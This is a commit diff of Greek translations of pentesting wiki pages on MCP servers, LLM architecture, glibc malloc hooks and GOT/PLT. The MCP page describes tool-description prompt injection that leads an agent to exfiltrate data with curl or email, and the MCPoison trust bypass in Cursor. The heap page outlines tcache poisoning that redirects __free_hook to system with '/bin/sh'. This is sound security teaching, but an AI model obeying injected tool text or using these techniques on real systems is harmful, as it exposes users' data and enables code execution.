Translated ['src/network-services-pentesting/nfs-service-pentesting.md',

This commit is contained in:
Translator 2025-08-21 22:06:35 +00:00
parent 5c4952e71d
commit 41689da5f1
252 changed files with 5446 additions and 4799 deletions

View File

@ -5,12 +5,12 @@
## Τι είναι το MPC - Πρωτόκολλο Συμφραζομένων Μοντέλου
Το [**Πρωτόκολλο Συμφραζομένων Μοντέλου (MCP)**](https://modelcontextprotocol.io/introduction) είναι ένα ανοιχτό πρότυπο που επιτρέπει στα μοντέλα AI (LLMs) να συνδέονται με εξωτερικά εργαλεία και πηγές δεδομένων με τρόπο plug-and-play. Αυτό επιτρέπει πολύπλοκες ροές εργασίας: για παράδειγμα, ένα IDE ή chatbot μπορεί να *καλεί δυναμικά συναρτήσεις* σε MCP servers όπως αν το μοντέλο "ήξερε" φυσικά πώς να τις χρησιμοποιήσει. Από κάτω, το MCP χρησιμοποιεί μια αρχιτεκτονική πελάτη-διακομιστή με αιτήματα βασισμένα σε JSON μέσω διαφόρων μεταφορών (HTTP, WebSockets, stdio, κ.λπ.).
Το [**Πρωτόκολλο Συμφραζομένων Μοντέλου (MCP)**](https://modelcontextprotocol.io/introduction) είναι ένα ανοιχτό πρότυπο που επιτρέπει στα μοντέλα AI (LLMs) να συνδέονται με εξωτερικά εργαλεία και πηγές δεδομένων με τρόπο plug-and-play. Αυτό επιτρέπει πολύπλοκες ροές εργασίας: για παράδειγμα, μια IDE ή chatbot μπορεί να *καλεί δυναμικά συναρτήσεις* σε MCP servers σαν να "ήξερε" φυσικά πώς να τις χρησιμοποιήσει. Από κάτω, το MCP χρησιμοποιεί μια αρχιτεκτονική πελάτη-διακομιστή με αιτήματα βασισμένα σε JSON μέσω διαφόρων μεταφορών (HTTP, WebSockets, stdio, κ.λπ.).
Μια **εφαρμογή φιλοξενίας** (π.χ. Claude Desktop, Cursor IDE) εκτελεί έναν πελάτη MCP που συνδέεται με έναν ή περισσότερους **MCP servers**. Κάθε διακομιστής εκθέτει ένα σύνολο *εργαλείων* (συναρτήσεις, πόροι ή ενέργειες) που περιγράφονται σε ένα τυποποιημένο σχήμα. Όταν η φιλοξενία συνδέεται, ζητά από τον διακομιστή τα διαθέσιμα εργαλεία μέσω ενός αιτήματος `tools/list`; οι περιγραφές εργαλείων που επιστρέφονται εισάγονται στη συνέχεια στο συμφραζόμενο του μοντέλου ώστε η AI να γνωρίζει ποιες συναρτήσεις υπάρχουν και πώς να τις καλέσει.
Μια **εφαρμογή φιλοξενίας** (π.χ. Claude Desktop, Cursor IDE) εκτελεί έναν πελάτη MCP που συνδέεται με έναν ή περισσότερους **MCP servers**. Κάθε διακομιστής εκθέτει ένα σύνολο *εργαλείων* (συναρτήσεις, πόροι ή ενέργειες) που περιγράφονται σε ένα τυποποιημένο σχήμα. Όταν η φιλοξενία συνδέεται, ζητά από τον διακομιστή τα διαθέσιμα εργαλεία μέσω ενός αιτήματος `tools/list`; οι περιγραφές εργαλείων που επιστρέφονται εισάγονται στη συμφραζόμενη κατάσταση του μοντέλου ώστε η AI να γνωρίζει ποιες συναρτήσεις υπάρχουν και πώς να τις καλέσει.
## Βασικός MCP Server
## Βασικός Διακομιστής MCP
Θα χρησιμοποιήσουμε Python και το επίσημο SDK `mcp` για αυτό το παράδειγμα. Πρώτα, εγκαταστήστε το SDK και το CLI:
```bash
@ -41,7 +41,7 @@ mcp dev calculator.py
```
Μόλις συνδεθεί, ο διακομιστής (επιθεωρητής ή ένας AI πράκτορας όπως ο Cursor) θα ανακτήσει τη λίστα εργαλείων. Η περιγραφή του εργαλείου `add` (αυτόματα παραγόμενη από την υπογραφή της συνάρτησης και το docstring) φορτώνεται στο πλαίσιο του μοντέλου, επιτρέποντας στον AI να καλέσει το `add` όποτε χρειάζεται. Για παράδειγμα, αν ο χρήστης ρωτήσει *"Τι είναι 2+3;"*, το μοντέλο μπορεί να αποφασίσει να καλέσει το εργαλείο `add` με παραμέτρους `2` και `3`, και στη συνέχεια να επιστρέψει το αποτέλεσμα.
Για περισσότερες πληροφορίες σχετικά με την Εισαγωγή Προτροπών, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με την Εισαγωγή Προτροπών ελέγξτε:
{{#ref}}
AI-Prompts.md
@ -77,11 +77,11 @@ return a + b
```
Αυτή η περιγραφή θα διαβαστεί από το μοντέλο AI και θα μπορούσε να οδηγήσει στην εκτέλεση της εντολής `curl`, εξάγοντας ευαίσθητα δεδομένα χωρίς ο χρήστης να το αντιληφθεί.
Σημειώστε ότι ανάλογα με τις ρυθμίσεις του πελάτη, μπορεί να είναι δυνατό να εκτελούνται αυθαίρετες εντολές χωρίς ο πελάτης να ζητά από τον χρήστη άδεια.
Σημειώστε ότι ανάλογα με τις ρυθμίσεις του πελάτη, μπορεί να είναι δυνατή η εκτέλεση αυθαίρετων εντολών χωρίς ο πελάτης να ζητήσει άδεια από τον χρήστη.
Επιπλέον, σημειώστε ότι η περιγραφή θα μπορούσε να υποδεικνύει τη χρήση άλλων λειτουργιών που θα μπορούσαν να διευκολύνουν αυτές τις επιθέσεις. Για παράδειγμα, αν υπάρχει ήδη μια λειτουργία που επιτρέπει την εξαγωγή δεδομένων, ίσως να στέλνει ένα email (π.χ. ο χρήστης χρησιμοποιεί έναν MCP server συνδεδεμένο με τον λογαριασμό του στο gmail), η περιγραφή θα μπορούσε να υποδεικνύει τη χρήση αυτής της λειτουργίας αντί να εκτελεί μια εντολή `curl`, η οποία θα ήταν πιο πιθανό να γίνει αντιληπτή από τον χρήστη. Ένα παράδειγμα μπορεί να βρεθεί σε αυτήν την [ανάρτηση ιστολογίου](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
Επιπλέον, σημειώστε ότι η περιγραφή θα μπορούσε να υποδεικνύει τη χρήση άλλων λειτουργιών που θα μπορούσαν να διευκολύνουν αυτές τις επιθέσεις. Για παράδειγμα, αν υπάρχει ήδη μια λειτουργία που επιτρέπει την εξαγωγή δεδομένων, ίσως να στείλει ένα email (π.χ. ο χρήστης χρησιμοποιεί έναν MCP server συνδεδεμένο με τον λογαριασμό του στο gmail), η περιγραφή θα μπορούσε να υποδεικνύει τη χρήση αυτής της λειτουργίας αντί να εκτελεί μια εντολή `curl`, η οποία θα ήταν πιο πιθανό να γίνει αντιληπτή από τον χρήστη. Ένα παράδειγμα μπορεί να βρεθεί σε αυτήν την [ανάρτηση ιστολογίου](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
Επιπλέον, [**αυτή η ανάρτηση ιστολογίου**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) περιγράφει πώς είναι δυνατόν να προστεθεί η ένεση προτροπής όχι μόνο στην περιγραφή των εργαλείων αλλά και στον τύπο, στα ονόματα μεταβλητών, σε επιπλέον πεδία που επιστρέφονται στην JSON απόκριση από τον MCP server και ακόμη και σε μια απροσδόκητη απόκριση από ένα εργαλείο, καθιστώντας την επίθεση ένεσης προτροπής ακόμη πιο κρυφή και δύσκολη στην ανίχνευση.
Επιπλέον, [**αυτή η ανάρτηση ιστολογίου**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) περιγράφει πώς είναι δυνατόν να προστεθεί η ένεση προτροπής όχι μόνο στην περιγραφή των εργαλείων αλλά και στον τύπο, στα ονόματα μεταβλητών, σε επιπλέον πεδία που επιστρέφονται στην JSON απάντηση από τον MCP server και ακόμη και σε μια απροσδόκητη απάντηση από ένα εργαλείο, καθιστώντας την επίθεση ένεσης προτροπής ακόμη πιο κρυφή και δύσκολη στην ανίχνευση.
### Ένεση Προτροπής μέσω Έμμεσων Δεδομένων
@ -100,11 +100,11 @@ AI-Prompts.md
### Επίμονη Εκτέλεση Κώδικα μέσω Παράκαμψης Εμπιστοσύνης MCP (Cursor IDE "MCPoison")
Αρχής γενομένης από τις αρχές του 2025, η Check Point Research αποκάλυψε ότι το AI-centric **Cursor IDE** συνδέει την εμπιστοσύνη του χρήστη με το *όνομα* μιας εγγραφής MCP αλλά ποτέ δεν επαληθεύει ξανά την υποκείμενη `εντολή` ή `args`.
Αυτή η λογική ατέλεια (CVE-2025-54136, γνωστή και ως **MCPoison**) επιτρέπει σε οποιονδήποτε μπορεί να γράψει σε ένα κοινό αποθετήριο να μετατρέψει μια ήδη εγκεκριμένη, καλοήθη MCP σε μια αυθαίρετη εντολή που θα εκτελείται *κάθε φορά που ανοίγεται το έργο* χωρίς να εμφανίζεται προτροπή.
Αυτή η λογική αδυναμία (CVE-2025-54136, γνωστή και ως **MCPoison**) επιτρέπει σε οποιονδήποτε μπορεί να γράψει σε ένα κοινό αποθετήριο να μετατρέψει μια ήδη εγκεκριμένη, καλοήθη MCP σε μια αυθαίρετη εντολή που θα εκτελείται *κάθε φορά που ανοίγεται το έργο* χωρίς προτροπή να εμφανίζεται.
#### Ευάλωτη ροή εργασίας
1. Ο επιτιθέμενος δεσμεύει ένα αβλαβές `.cursor/rules/mcp.json` και ανοίγει ένα Pull-Request.
1. Ο επιτιθέμενος δεσμεύει ένα ακίνδυνο `.cursor/rules/mcp.json` και ανοίγει ένα Pull-Request.
```json
{
"mcpServers": {

View File

@ -34,9 +34,9 @@
> [!TIP]
> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τα προηγούμενα tokens στο λεξιλόγιο έναν διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα είναι ένα σημείο σε έναν χώρο X διαστάσεων.\
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς "τυχαία" και αυτές οι θέσεις είναι εκπαιδεύσιμες παράμετροι (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς "τυχαία" και αυτές οι θέσεις είναι παραμετροποιήσιμες (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
>
> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτεινόμενη πρόταση εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην πρόταση εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
{{#ref}}
3.-token-embeddings.md
@ -45,8 +45,8 @@
## 4. Attention Mechanisms
> [!TIP]
> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε κάποιους μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επανειλημμένα επίπεδα** που θα **καταγράφουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\
> Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλές εκπαιδεύσιμες παράμετροι θα καταγράφουν αυτές τις πληροφορίες.
> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε κάποιους μηχανισμούς προσοχής**. Αυτοί θα είναι πολλά **επανειλημμένα επίπεδα** που θα **καταγράφουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\
> Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλοί παραμετροποιήσιμοι παράγοντες θα καταγράφουν αυτές τις πληροφορίες.
{{#ref}}
4.-attention-mechanisms.md
@ -66,7 +66,7 @@
## 6. Pre-training & Loading models
> [!TIP]
> Ο στόχος αυτής της έκτης φάσης είναι πολύ απλός: **Εκπαιδεύστε το μοντέλο από την αρχή**. Για αυτό θα χρησιμοποιηθεί η προηγούμενη αρχιτεκτονική LLM με κάποιους βρόχους που θα διατρέχουν τα σύνολα δεδομένων χρησιμοποιώντας τις καθορισμένες συναρτήσεις απώλειας και τον βελτιστοποιητή για να εκπαιδεύσουν όλες τις παραμέτρους του μοντέλου.
> Ο στόχος αυτής της έκτης φάσης είναι πολύ απλός: **Εκπαιδεύστε το μοντέλο από την αρχή**. Για αυτό θα χρησιμοποιηθεί η προηγούμενη αρχιτεκτονική LLM με κάποιους βρόχους που θα διατρέχουν τα σύνολα δεδομένων χρησιμοποιώντας τις καθορισμένες συναρτήσεις απώλειας και τον βελτιστοποιητή για να εκπαιδεύσουν όλους τους παραμέτρους του μοντέλου.
{{#ref}}
6.-pre-training-and-loading-models.md
@ -75,7 +75,7 @@
## 7.0. LoRA Improvements in fine-tuning
> [!TIP]
> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιώσετε** ήδη εκπαιδευμένα μοντέλα.
> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιστοποιήσει** ήδη εκπαιδευμένα μοντέλα.
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
@ -84,7 +84,7 @@
## 7.1. Fine-Tuning for Classification
> [!TIP]
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι).
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιστοποιήσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι).
{{#ref}}
7.1.-fine-tuning-for-classification.md
@ -93,7 +93,7 @@
## 7.2. Fine-Tuning to follow instructions
> [!TIP]
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot.
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιστοποιήσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md

View File

@ -6,25 +6,30 @@
Το καλύτερο σημείο εκκίνησης για να μάθετε για την AI είναι να κατανοήσετε πώς λειτουργούν οι κύριοι αλγόριθμοι μηχανικής μάθησης. Αυτό θα σας βοηθήσει να κατανοήσετε πώς λειτουργεί η AI, πώς να τη χρησιμοποιήσετε και πώς να την επιτεθείτε:
{{#ref}}
./AI-Supervised-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Unsupervised-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Reinforcement-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Deep-Learning.md
{{#endref}}
### Αρχιτεκτονική LLMs
Στην επόμενη σελίδα θα βρείτε τα βασικά κάθε στοιχείου για να κατασκευάσετε ένα βασικό LLM χρησιμοποιώντας transformers:
Στην επόμενη σελίδα θα βρείτε τα βασικά κάθε συστατικού για να κατασκευάσετε ένα βασικό LLM χρησιμοποιώντας transformers:
{{#ref}}
AI-llm-architecture/README.md
@ -36,6 +41,7 @@ AI-llm-architecture/README.md
Αυτή τη στιγμή, τα κύρια 2 πλαίσια για την αξιολόγηση των κινδύνων των συστημάτων AI είναι το OWASP ML Top 10 και το Google SAIF:
{{#ref}}
AI-Risk-Frameworks.md
{{#endref}}
@ -44,21 +50,24 @@ AI-Risk-Frameworks.md
Τα LLMs έχουν εκτοξεύσει τη χρήση της AI τα τελευταία χρόνια, αλλά δεν είναι τέλεια και μπορούν να παραπλανηθούν από εχθρικά prompts. Αυτό είναι ένα πολύ σημαντικό θέμα για να κατανοήσετε πώς να χρησιμοποιείτε την AI με ασφάλεια και πώς να την επιτεθείτε:
{{#ref}}
AI-Prompts.md
{{#endref}}
### RCE Μοντέλων AI
Είναι πολύ συνηθισμένο για προγραμματιστές και εταιρείες να εκτελούν μοντέλα που έχουν κατεβάσει από το Διαδίκτυο, ωστόσο απλώς η φόρτωση ενός μοντέλου μπορεί να είναι αρκετή για να εκτελέσει αυθαίρετο κώδικα στο σύστημα. Αυτό είναι ένα πολύ σημαντικό θέμα για να κατανοήσετε πώς να χρησιμοποιείτε την AI με ασφάλεια και πώς να την επιτεθείτε:
Είναι πολύ συνηθισμένο για προγραμματιστές και εταιρείες να εκτελούν μοντέλα που έχουν κατεβάσει από το Διαδίκτυο, ωστόσο, απλώς η φόρτωση ενός μοντέλου μπορεί να είναι αρκετή για να εκτελέσει αυθαίρετο κώδικα στο σύστημα. Αυτό είναι ένα πολύ σημαντικό θέμα για να κατανοήσετε πώς να χρησιμοποιείτε την AI με ασφάλεια και πώς να την επιτεθείτε:
{{#ref}}
AI-Models-RCE.md
{{#endref}}
### Πρωτόκολλο Στοιχείου Πλαισίου AI
### Πρωτόκολλο Συστήματος Μοντέλου AI
MCP (Πρωτόκολλο Συστήματος Μοντέλου) είναι ένα πρωτόκολλο που επιτρέπει στους πελάτες AI agent να συνδέονται με εξωτερικά εργαλεία και πηγές δεδομένων με τρόπο plug-and-play. Αυτό επιτρέπει πολύπλοκες ροές εργασίας και αλληλεπιδράσεις μεταξύ μοντέλων AI και εξωτερικών συστημάτων:
MCP (Model Context Protocol) είναι ένα πρωτόκολλο που επιτρέπει στους πελάτες AI agent να συνδέονται με εξωτερικά εργαλεία και πηγές δεδομένων με τρόπο plug-and-play. Αυτό επιτρέπει πολύπλοκες ροές εργασίας και αλληλεπιδράσεις μεταξύ μοντέλων AI και εξωτερικών συστημάτων:
{{#ref}}
AI-MCP-Servers.md
@ -66,6 +75,7 @@ AI-MCP-Servers.md
### AI-Υποβοηθούμενη Fuzzing & Αυτοματοποιημένη Ανακάλυψη Ευπαθειών
{{#ref}}
AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md
{{#endref}}

View File

@ -4,9 +4,9 @@
## **Malloc Hook**
Όπως μπορείτε να δείτε στον [Επίσημο ιστότοπο GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα καλείται** όποτε καλείται το `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί το `malloc`, το **One Gadget θα κληθεί**.
Όπως μπορείτε να δείτε στον [Επίσημο ιστότοπο GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), η μεταβλητή **`__malloc_hook`** είναι ένας δείκτης που δείχνει στη **διεύθυνση μιας συνάρτησης που θα καλείται** όποτε καλείται το `malloc()` **αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc**. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα **One Gadget** για παράδειγμα και κληθεί το `malloc`, θα κληθεί το **One Gadget**.
Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή με **καλώντας `printf("%10000$c")** που δεσμεύει πάρα πολλά bytes κάνοντάς το `libc` να καλέσει το malloc για να τα δεσμεύσει στο heap.
Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή να **καλέσετε `printf("%10000$c")** που δεσμεύει πάρα πολλά bytes κάνοντάς το `libc` να καλέσει το malloc για να τα δεσμεύσει στο heap.
Περισσότερες πληροφορίες σχετικά με το One Gadget στο:
@ -56,24 +56,24 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Εάν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή την τοποθεσία, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται.
- Για αυτό, δημιουργείται μια νέα chunk μεγέθους `0xfc` και καλείται η συγχωνευμένη συνάρτηση με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια ελεύθερη chunk μεγέθους `0xfc*2 = 0x1f8` στο γρήγορο bin.
- Αν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή την τοποθεσία, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται
- Για αυτό, δημιουργείται μια νέα chunk μεγέθους `0xfc` και η συγχωνευμένη συνάρτηση καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια ελεύθερη chunk μεγέθους `0xfc*2 = 0x1f8` στο γρήγορο bin.
- Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτή τη chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του γρήγορου bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**.
- Έπειτα, δημιουργείται μια chunk με μέγεθος `0x1f8` για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους `0x1f8` για να αποκτήσουμε μια γρήγορη chunk στο **`__free_hook`** που αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
- Και τελικά, μια chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με το `/bin/sh\x00` ως παράμετρο.
- Στη συνέχεια, δημιουργείται μια chunk μεγέθους `0x1f8` για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους `0x1f8` για να αποκτήσουμε μια γρήγορη chunk στο **`__free_hook`** που αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
- Και τελικά, μια chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με `/bin/sh\x00` ως παράμετρο.
---
## Tcache poisoning & Safe-Linking (glibc 2.32 2.33)
Η glibc 2.32 εισήγαγε το **Safe-Linking** μια έλεγχο ακεραιότητας που προστατεύει τις *μοναδικά* συνδεδεμένες λίστες που χρησιμοποιούνται από **tcache** και γρήγορα bins. Αντί να αποθηκεύει έναν ακατέργαστο δείκτη προώθησης (`fd`), η ptmalloc τώρα τον αποθηκεύει *κρυπτογραφημένο* με την παρακάτω μακροεντολή:
Η glibc 2.32 εισήγαγε το **Safe-Linking** μια έλεγχο ακεραιότητας που προστατεύει τις *μοναδικές* συνδεδεμένες λίστες που χρησιμοποιούνται από **tcache** και γρήγορα bins. Αντί να αποθηκεύει έναν ακατέργαστο δείκτη προς τα εμπρός (`fd`), το ptmalloc τώρα τον αποθηκεύει *κρυπτογραφημένο* με την παρακάτω μακροεντολή:
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
Συνέπειες για την εκμετάλλευση:
1. Μια **heap leak** είναι υποχρεωτική ο επιτιθέμενος πρέπει να γνωρίζει την τιμή χρόνου εκτέλεσης του `chunk_addr >> 12` για να δημιουργήσει έναν έγκυρο παραποιημένο δείκτη.
1. Ένα **heap leak** είναι υποχρεωτικό ο επιτιθέμενος πρέπει να γνωρίζει την τιμή χρόνου εκτέλεσης του `chunk_addr >> 12` για να δημιουργήσει έναν έγκυρο παραποιημένο δείκτη.
2. Μόνο ο *πλήρης* 8-byte δείκτης μπορεί να παραποιηθεί; οι μερικές υπεργραφές ενός byte δεν θα περάσουν τον έλεγχο.
Μια ελάχιστη primitive tcache-poisoning που υπεργράφει το `__free_hook` σε glibc 2.32/2.33 φαίνεται λοιπόν ως εξής:
@ -117,7 +117,7 @@ free(bin_sh)
## Τι άλλαξε στη glibc ≥ 2.34;
Αρχής γενομένης από τη **glibc 2.34 (Αύγουστος 2021)**, οι hooks κατανομής `__malloc_hook`, `__realloc_hook`, `__memalign_hook` και `__free_hook` **αφαιρέθηκαν από το δημόσιο API και δεν καλούνται πλέον από τον αλγόριθμο κατανομής**. Οι συμβολισμοί συμβατότητας εξακολουθούν να εξάγονται για παλαιά δυαδικά αρχεία, αλλά η αντικατάστασή τους δεν επηρεάζει πλέον τη ροή ελέγχου του `malloc()` ή του `free()`.
Αρχής γενομένης από τη **glibc 2.34 (Αύγουστος 2021)**, οι hooks κατανομής `__malloc_hook`, `__realloc_hook`, `__memalign_hook` και `__free_hook` **αφαιρέθηκαν από το δημόσιο API και δεν καλούνται πλέον από τον αλγόριθμο κατανομής**. Τα σύμβολα συμβατότητας εξακολουθούν να εξάγονται για παλαιά δυαδικά αρχεία, αλλά η αντικατάστασή τους δεν επηρεάζει πλέον τη ροή ελέγχου του `malloc()` ή του `free()`.
Πρακτική συνέπεια: σε σύγχρονες διανομές (Ubuntu 22.04+, Fedora 35+, Debian 12, κ.λπ.) πρέπει να στραφείτε σε *άλλες* μεθόδους hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, κ.λπ.) διότι οι αντικαταστάσεις hooks θα αποτύχουν σιωπηλά.

View File

@ -8,19 +8,19 @@
Ο **Παγκόσμιος Πίνακας Μεταθέσεων (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για να **ενημερώνονται δυναμικά οι διευθύνσεις αυτών των εξωτερικών συμβόλων** μόλις επιλυθούν.
Κάθε καταχώρηση στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στον GOT, αποφεύγοντας έτσι την επιβάρυνση της εκ νέου επίλυσης της διεύθυνσης.
Κάθε είσοδος στον GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό αρχείο. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από τον δυναμικό σύνδεσμο και αποθηκεύεται στον GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στον GOT, αποφεύγοντας έτσι το κόστος της εκ νέου επίλυσης της διεύθυνσης.
### **PLT: Πίνακας Σύνδεσης Διαδικασιών**
Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως αναπήδηση για να διαχειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια καταχώρηση στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**.
Ο **Πίνακας Σύνδεσης Διαδικασιών (PLT)** συνεργάζεται στενά με τον GOT και λειτουργεί ως ελατήριο για να χειρίζεται τις κλήσεις σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό αρχείο **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος μεταφέρεται σε μια είσοδο στον PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η είσοδος PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέσμου για να επιλύσει τη διεύθυνση της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού επιλυθεί η διεύθυνση, αποθηκεύεται στον **GOT**.
**Επομένως,** οι καταχωρήσεις GOT χρησιμοποιούνται άμεσα μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέσμου.
